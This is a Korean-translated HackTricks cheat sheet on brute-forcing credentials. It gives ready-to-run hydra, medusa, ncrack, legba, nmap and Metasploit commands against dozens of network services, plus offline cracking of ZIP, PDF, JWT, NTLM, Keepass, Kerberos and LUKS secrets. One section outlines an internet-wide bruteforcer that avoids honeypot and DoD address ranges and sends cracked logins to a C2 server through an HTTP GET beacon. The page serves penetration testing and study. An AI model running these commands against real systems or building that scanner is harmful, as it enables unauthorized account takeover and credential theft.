Brute Force - CheatSheet

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Default Credentials

Search in google ์‚ฌ์šฉ ์ค‘์ธ ๊ธฐ์ˆ ์˜ default credentials์„ ๊ฒ€์ƒ‰ํ•˜๊ฑฐ๋‚˜, ๋‹ค์Œ ๋งํฌ๋“ค์„ ์‹œ๋„ํ•ด๋ณด์„ธ์š”:

์ž์ฒด ์‚ฌ์ „ ์ƒ์„ฑ

ํƒ€๊นƒ์— ๋Œ€ํ•ด ๊ฐ€๋Šฅํ•œ ํ•œ ๋งŽ์€ ์ •๋ณด๋ฅผ ์ˆ˜์ง‘ํ•˜์—ฌ ์ปค์Šคํ…€ ์‚ฌ์ „์„ ์ƒ์„ฑํ•˜์„ธ์š”. ๋„์›€์ด ๋  ์ˆ˜ ์žˆ๋Š” ๋„๊ตฌ:

Crunch

crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)

@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%

์›น์‚ฌ์ดํŠธ ๊ธฐ๋ฐ˜ wordlists

# Cewl gets words from the victims page
cewl example.com -m 5 -w words.txt

# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs
cat /path/to/urls.txt | tok

# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs
cat /path/to/js-urls.txt | python3 getjswords.py

CUPP

ํ”ผํ•ด์ž์— ๋Œ€ํ•œ ์ง€์‹(์ด๋ฆ„, ๋‚ ์งœ ๋“ฑ)์„ ๊ธฐ๋ฐ˜์œผ๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค

python3 cupp.py -h

Wister

๋‹จ์–ด ์ง‘ํ•ฉ์„ ์ œ๊ณตํ•˜๋ฉด, ์ œ๊ณต๋œ ๋‹จ์–ด๋“ค๋กœ๋ถ€ํ„ฐ ์—ฌ๋Ÿฌ ๋ณ€ํ˜•์„ ๋งŒ๋“ค์–ด ํŠน์ • ๋Œ€์ƒ์— ์‚ฌ์šฉํ•  ๊ณ ์œ ํ•˜๊ณ  ์ด์ƒ์ ์ธ wordlist๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋Š” wordlist generator tool.

python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst

__          _______  _____ _______ ______ _____
\ \        / /_   _|/ ____|__   __|  ____|  __ \
\ \  /\  / /  | | | (___    | |  | |__  | |__) |
\ \/  \/ /   | |  \___ \   | |  |  __| |  _  /
\  /\  /   _| |_ ____) |  | |  | |____| | \ \
\/  \/   |_____|_____/   |_|  |______|_|  \_\

Version 1.0.3                    Cycurity

Generating wordlist...
[########################################] 100%
Generated 67885 lines.

Finished in 0.920s.

pydictor

Wordlists

์ธํ„ฐ๋„ท ์ „์—ญ bruteforcer ์›Œํฌํ”Œ๋กœ์šฐ (Go ๊ธฐ๋ฐ˜ ์Šค์บ๋„ˆ์—์„œ ์–ป์€ ๊ตํ›ˆ)

  • ์•„ํ‚คํ…์ฒ˜์— ์ตœ์ ํ™”๋œ worker pools๋ฅผ ์œ ์ง€ํ•˜๋ผ(์˜ˆ: x86_64/arm64์—์„œ ~95 goroutines, i686์—์„œ ~85, ์ €์‚ฌ์–‘ ARM์—์„œ ~50) โ€” ์ดˆ๋งˆ๋‹ค ๋‹ค์‹œ ์ƒ์„ฑ(respawn)ํ•ด **๊ณ ์ •๋œ ๋™์‹œ์„ฑ(fixed concurrency)**์„ ์œ ์ง€ํ•˜๊ณ , ๊ฐ ์›Œ์ปค๋Š” ์ข…๋ฃŒ ์ „์— ์ •ํ™•ํžˆ ํ•˜๋‚˜์˜ ๋Œ€์ƒ IP๋งŒ ์ฒ˜๋ฆฌํ•œ๋‹ค.
  • ๋ฌด์ž‘์œ„ public IPv4s๋ฅผ ์ƒ์„ฑํ•˜๋˜ ๋ช…๋ฐฑํžˆ ํ—ˆ๋‹ˆํŒŸ์ด ๋งŽ์€ ๋˜๋Š” ๋ผ์šฐํŒ… ๋ถˆ๊ฐ€ํ•œ ๋ฒ”์œ„๋Š” ์ œ์™ธ: RFC1918, 100.64.0.0/10, 127.0.0.0/8, 0.0.0.0/8, 169.254.0.0/16, 198.18.0.0/15, ๋ฉ€ํ‹ฐ์บ์ŠคํŠธ >=224.0.0.0/4, ํด๋ผ์šฐ๋“œ ํŽธ์ค‘ /8๋“ค (3/15/16/56) ๋ฐ DoD ๊ด€๋ จ /8๋“ค (6/7/11/21/22/26/28/29/30/33/55/214/215).
  • ์‹œ๋„ ์ „์— ์งง์€ ํƒ€์ž„์•„์›ƒ(~2s)์œผ๋กœ ์„œ๋น„์Šค ํฌํŠธ๋ฅผ probeํ•˜๊ณ  cleartext logins(FTP/21, MySQL/3306, Postgres/5432, phpMyAdmin over HTTP/80)์„ ์‹œ๋„ํ•˜๋ฉฐ, ์›๊ฒฉ dictionary/C2 fetch๊ฐ€ ์‹คํŒจํ•˜๋ฉด ์ž‘์€ builtin credential list๋กœ ํด๋ฐฑํ•œ๋‹ค.
  • ํƒ์ง€๋œ ํžˆํŠธ(hits)๋Š” http://<c2>:9090/pst?i=<ip>&c=<svc_code>&u=<user>&p=<pass>&e=<extra> ๊ฐ™์€ ์ž‘์€ HTTP GET ๋น„์ฝ˜์œผ๋กœ exfiltrateํ•˜๊ณ (์„œ๋น„์Šค ์ฝ”๋“œ ์˜ˆ: 1=PMA, 2=MySQL, 3=FTP, 4=Postgres), ์ผ๋ฐ˜ ๋ธŒ๋ผ์šฐ์ € User-Agent๋ฅผ ์žฌ์‚ฌ์šฉํ•ด ์„ž์ธ๋‹ค.
  • phpMyAdmin spray๋Š” GET /index.php?lang=en์œผ๋กœ ์•ฝ ์ˆ˜์‹ญ ๊ฐœ์˜ ํ›„๋ณด ๊ฒฝ๋กœ(~80+)๋ฅผ brute-forceํ•  ์ˆ˜ ์žˆ๊ณ , PMA ๋งˆ์ปค(pmahomme theme/phpmyadmin.css/navigation.php)๋ฅผ ํƒ์ง€ํ•˜๋ฉฐ codemirror.css?v=X.Y.Z๋ฅผ ํŒŒ์‹ฑํ•ด ์ธ์ฆ ๋ถ„๊ธฐ๋ฅผ ํŒ๋‹จํ•œ๋‹ค: ๋ฒ„์ „ <4.9๋Š” GET ํŒŒ๋ผ๋ฏธํ„ฐ pma_username/pma_password๋ฅผ ํ—ˆ์šฉํ•˜๊ณ , ๋ฒ„์ „ >=4.9๋Š” server=1, CSRF token, ๋™์ผํ•œ ์ž๊ฒฉ ์ฆ๋ช…์ด ํฌํ•จ๋œ POST๋ฅผ ์š”๊ตฌํ•œ๋‹ค.

Services

์„œ๋น„์Šค ์ด๋ฆ„ ๊ธฐ์ค€ ์•ŒํŒŒ๋ฒณ์ˆœ์œผ๋กœ ์ •๋ ฌ.

AFP

nmap -p 548 --script afp-brute <IP>
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE <PATH_PASSWDS>
msf> set USER_FILE <PATH_USERS>
msf> run

AJP

nmap --script ajp-brute -p 8009 <IP>

AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM ๋ฐ Solace)

legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]

Cassandra

nmap --script cassandra-brute -p 9160 <IP>
# legba ScyllaDB / Apache Casandra
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042

ClickHouse

bruter

bruter clickhouse -u default -p passwords.txt localhost:9000

CouchDB

msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /

Docker Registry

hydra -L /usr/share/brutex/wordlists/simple-users.txt  -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/

Elasticsearch

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /

FTP

hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21

HTTP Generic Brute

WFuzz

HTTP Basic Auth

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https
medusa -h <IP> -u <username> -P  <passwords.txt> -M  http -m DIR:/path/to/auth -T 10
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/

HTTP - NTLM

legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/

HTTP - Post ํผ

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb  http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https

https์˜ ๊ฒฝ์šฐ โ€œhttp-post-formโ€œ์—์„œ โ€œ**https-post-formโ€**๋กœ ๋ณ€๊ฒฝํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค

HTTP - CMS โ€“ (W)ordpress, (J)oomla ๋˜๋Š” (D)rupal ๋˜๋Š” (M)oodle

cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP

IMAP

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP>
legba imap --username user --password data/passwords.txt --target localhost:993

IRC

nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>

ISCSI

nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>

JWT

#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt

#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256

#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt <JWT token>

#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8

#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt

#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6

LDAP

nmap --script ldap-brute -p 389 <IP>
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match

MQTT

ncrack mqtt://127.0.0.1 --user test โ€“P /root/Desktop/pass.txt -v
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt

Mongo

nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login
legba mongodb --target localhost:27017 --username root --password data/passwords.txt

MSSQL

MSSQLPwner

# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433

MySQL

# hydra
hydra -L usernames.txt -P pass.txt <IP> mysql

# msfconsole
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false

# medusa
medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql

#Legba
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306

OracleSQL

patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017

./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt

#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>

#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORTS 1521
msf> set SID <SID>

#for some reason nmap fails sometimes when executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>

legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt

oracle_login์„ patator์™€ ํ•จ๊ป˜ ์‚ฌ์šฉํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์„ค์น˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

pip3 install cx_Oracle --upgrade

Offline OracleSQL hash bruteforce (versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, and 11.2.0.3):

nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30

POP

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V

# Insecure
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110

# SSL
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl

PostgreSQL

hydra -L /root/Desktop/user.txt โ€“P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> โ€“U /root/Desktop/user.txt โ€“P /root/Desktop/pass.txt โ€“M postgres
ncrack โ€“v โ€“U /root/Desktop/user.txt โ€“P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432

PPTP

์„ค์น˜ํ•˜๋ ค๋ฉด .deb ํŒจํ‚ค์ง€๋ฅผ https://http.kali.org/pool/main/t/thc-pptp-bruter/์—์„œ ๋‹ค์šด๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter โ€“u <Username> <IP>

RDP

ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]

Redis

msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra โ€“P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]

Rexec

hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V

Rlogin

hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V

Rsh

hydra -L <Username_list> rsh://<Victim_IP> -v -V

http://pentestmonkey.net/tools/misc/rsh-grind

Rsync

nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>

RTSP

hydra -l root -P passwords.txt <IP> rtsp

SFTP

legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22

SNMP

msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp

SMB

nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]

SMPP

bruter smpp -u smppclient1 -p passwords.txt localhost:2775

SMTP

hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]

SOCKS

nmap  -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
# With alternative address
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080

SQL Server

#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt โ€“P /root/Desktop/pass.txt <IP> mssql
medusa -h <IP> โ€“U /root/Desktop/user.txt โ€“P /root/Desktop/pass.txt โ€“M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT

SSH

hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
legba ssh --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22

์ทจ์•ฝํ•œ SSH ํ‚ค / Debian predictable PRNG

์ผ๋ถ€ ์‹œ์Šคํ…œ์€ ์•”ํ˜ธํ™” ์ž์žฌ(cryptographic material)๋ฅผ ์ƒ์„ฑํ•  ๋•Œ ์‚ฌ์šฉ๋˜๋Š” ๋‚œ์ˆ˜ ์‹œ๋“œ(random seed)์— ์•Œ๋ ค์ง„ ๊ฒฐํ•จ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋กœ ์ธํ•ด keyspace๊ฐ€ ํฌ๊ฒŒ ์ค„์–ด๋“ค์–ด snowdroppe/ssh-keybrute ๊ฐ™์€ ๋„๊ตฌ๋กœ bruteforcedํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ g0tmi1k/debian-ssh ๊ฐ™์€ ์‚ฌ์ „ ์ƒ์„ฑ๋œ weak keys ์„ธํŠธ๋„ ์ด์šฉ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

STOMP (ActiveMQ, RabbitMQ, HornetQ and OpenMQ)

STOMP ํ…์ŠคํŠธ ํ”„๋กœํ† ์ฝœ์€ RabbitMQ, ActiveMQ, HornetQ ๋ฐ OpenMQ์™€ ๊ฐ™์€ ์ธ๊ธฐ ์žˆ๋Š” ๋ฉ”์‹œ์ง€ ํ ์„œ๋น„์Šค์™€ ์›ํ™œํ•œ ํ†ต์‹ ๊ณผ ์ƒํ˜ธ์ž‘์šฉ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๋Š” ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๋Š” ๋ฉ”์‹œ์ง• ํ”„๋กœํ† ์ฝœ์ž…๋‹ˆ๋‹ค. ๋ฉ”์‹œ์ง€๋ฅผ ๊ตํ™˜ํ•˜๊ณ  ๋‹ค์–‘ํ•œ ๋ฉ”์‹œ์ง• ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•œ ํ‘œ์ค€ํ™”๋˜๊ณ  ํšจ์œจ์ ์ธ ์ ‘๊ทผ ๋ฐฉ์‹์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

legba stomp --target localhost:61613 --username admin --password data/passwords.txt

Telnet

hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet

legba telnet \
--username admin \
--password wordlists/passwords.txt \
--target localhost:23 \
--telnet-user-prompt "login: " \
--telnet-pass-prompt "Password: " \
--telnet-prompt ":~$ " \
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin

VNC

hydra -L /root/Desktop/user.txt โ€“P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> โ€“u root -P /root/Desktop/pass.txt โ€“M vnc
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt โ€“t 1 โ€“x retry:fgep!='Authentication failure' --max-retries 0 โ€“x quit:code=0
use auxiliary/scanner/vnc/vnc_login
nmap -p 5900,5901 --script vnc-brute --script-args brute.credfile=wordlist.txt <IP>
legba vnc --target localhost:5901 --password data/passwords.txt

#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS <ip>
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst

Winrm

crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

๋กœ์ปฌ

์˜จ๋ผ์ธ cracking databases

Hash๋ฅผ brute forceํ•˜๊ธฐ ์ „์— ํ™•์ธํ•˜์„ธ์š”.

ZIP

#sudo apt-get install fcrackzip
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
zip2john file.zip > zip.john
john zip.john
#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack

Known plaintext zip attack

์•”ํ˜ธํ™”๋œ zip ์•ˆ์— ํฌํ•จ๋œ ํŒŒ์ผ์˜ plaintext(๋˜๋Š” plaintext์˜ ์ผ๋ถ€)๋ฅผ ์•Œ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์•”ํ˜ธํ™”๋œ zip์—์„œ filenames and size of files contained inside๋ฅผ ํ™•์ธํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‹คํ–‰ํ•˜์„ธ์š”: 7z l encrypted.zip\
๋ฆด๋ฆฌ์ฆˆ ํŽ˜์ด์ง€์—์„œ bkcrack ์„ ๋‹ค์šด๋กœ๋“œํ•˜์„ธ์š”.

# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file

./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
unzip unlocked.zip #User new_pwd as password

7z

cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john

PDF

apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didn't work well, john didn't know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf

PDF Owner Password

PDF Owner password๋ฅผ ํฌ๋ž˜ํ‚นํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”: https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/

JWT

git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack

#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John

NTLM cracking

Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot

Keepass

sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Keberoasting

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Lucks ์ด๋ฏธ์ง€

๋ฐฉ๋ฒ• 1

์„ค์น˜: https://github.com/glv2/bruteforce-luks

bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt

๋ฐฉ๋ฒ• 2

cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
hashcat -m 14600 -a 0 luckshash  wordlists/rockyou.txt
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt

๋˜ ๋‹ค๋ฅธ Luks BF ํŠœํ† ๋ฆฌ์–ผ: http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1

Mysql

#John hash format
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d

PGP/GPG ๊ฐœ์ธ ํ‚ค

gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash

Cisco

DPAPI Master Key

